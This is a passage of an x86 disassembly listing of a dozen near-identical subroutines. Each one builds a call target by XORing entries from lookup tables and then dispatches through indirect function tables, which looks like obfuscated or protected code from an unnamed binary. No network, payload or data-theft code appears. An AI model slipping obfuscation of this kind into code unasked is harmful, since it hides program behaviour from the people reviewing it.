mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Dh
mov [ebp+var_2C], 67h
mov [ebp+var_28], 0FBh
mov [ebp+var_24], 24h
mov [ebp+var_20], 0D9h
mov [ebp+var_1C], 35h
mov [ebp+var_18], 9Ch
mov [ebp+var_14], 52h
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0A2C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0A2C: ; CODE XREF: sub_4B099B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B099B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B0A98 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBA0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F9h
mov [ebp+var_2C], 60h
mov [ebp+var_28], 0E6h
mov [ebp+var_24], 6Fh
mov [ebp+var_20], 89h
mov [ebp+var_1C], 2Eh
mov [ebp+var_18], 0A8h
mov [ebp+var_14], 3Ch
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0B26
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0B26: ; CODE XREF: sub_4B0A98+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B0A98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B0B92 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBA4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F0h
mov [ebp+var_2C], 0EAh
mov [ebp+var_28], 1Bh
mov [ebp+var_24], 15h
mov [ebp+var_20], 8Ch
mov [ebp+var_1C], 84h
mov [ebp+var_18], 0A7h
mov [ebp+var_14], 45h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0C23
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0C23: ; CODE XREF: sub_4B0B92+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B0B92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B0C8F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBA8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Dh
mov [ebp+var_2C], 8
mov [ebp+var_28], 13h
mov [ebp+var_24], 0E5h
mov [ebp+var_20], 34h
mov [ebp+var_1C], 64h
mov [ebp+var_18], 13h
mov [ebp+var_14], 63h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0D20
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0D20: ; CODE XREF: sub_4B0C8F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B0C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B0D8C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBACo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 71h
mov [ebp+var_2C], 7Ch
mov [ebp+var_28], 0E5h
mov [ebp+var_24], 57h
mov [ebp+var_20], 0Eh
mov [ebp+var_1C], 0E0h
mov [ebp+var_18], 31h
mov [ebp+var_14], 31h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0E1D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0E1D: ; CODE XREF: sub_4B0D8C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B0D8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B0E89 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBB0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0BDh
mov [ebp+var_2C], 0Bh
mov [ebp+var_28], 0A6h
mov [ebp+var_24], 0E9h
mov [ebp+var_20], 42h
mov [ebp+var_1C], 6Dh
mov [ebp+var_18], 73h
mov [ebp+var_14], 2Ah
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B0F1A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B0F1A: ; CODE XREF: sub_4B0E89+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B0E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B0F86 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBB4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 2
mov [ebp+var_2C], 7
mov [ebp+var_28], 0EEh
mov [ebp+var_24], 0F4h
mov [ebp+var_20], 0F6h
mov [ebp+var_1C], 0E9h
mov [ebp+var_18], 0EDh
mov [ebp+var_14], 55h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1017
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1017: ; CODE XREF: sub_4B0F86+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B0F86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1083 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBB8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 77h
mov [ebp+var_2C], 0D4h
mov [ebp+var_28], 5Ah
mov [ebp+var_24], 0E5h
mov [ebp+var_20], 1Bh
mov [ebp+var_1C], 86h
mov [ebp+var_18], 7Bh
mov [ebp+var_14], 15h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1114
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1114: ; CODE XREF: sub_4B1083+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1083 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1180 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBBCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D4h
mov [ebp+var_2C], 0D5h
mov [ebp+var_28], 54h
mov [ebp+var_24], 0BCh
mov [ebp+var_20], 0AFh
mov [ebp+var_1C], 0D3h
mov [ebp+var_18], 91h
mov [ebp+var_14], 0C8h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1211
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1211: ; CODE XREF: sub_4B1180+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B127D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBC0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Ah
mov [ebp+var_2C], 78h
mov [ebp+var_28], 0E3h
mov [ebp+var_24], 46h
mov [ebp+var_20], 0E2h
mov [ebp+var_1C], 23h
mov [ebp+var_18], 6Ch
mov [ebp+var_14], 0A7h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B130E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B130E: ; CODE XREF: sub_4B127D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B127D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B137A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBC4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C1h
mov [ebp+var_2C], 0F9h
mov [ebp+var_28], 73h
mov [ebp+var_24], 0D9h
mov [ebp+var_20], 12h
mov [ebp+var_1C], 0B5h
mov [ebp+var_18], 57h
mov [ebp+var_14], 9Bh
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B140B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B140B: ; CODE XREF: sub_4B137A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1477 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBC8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E2h
mov [ebp+var_2C], 0
mov [ebp+var_28], 0Eh
mov [ebp+var_24], 87h
mov [ebp+var_20], 0C4h
mov [ebp+var_1C], 0EDh
mov [ebp+var_18], 0C1h
mov [ebp+var_14], 0AEh
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B1508
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B1508: ; CODE XREF: sub_4B1477+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B1477 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B1574 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDBCCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
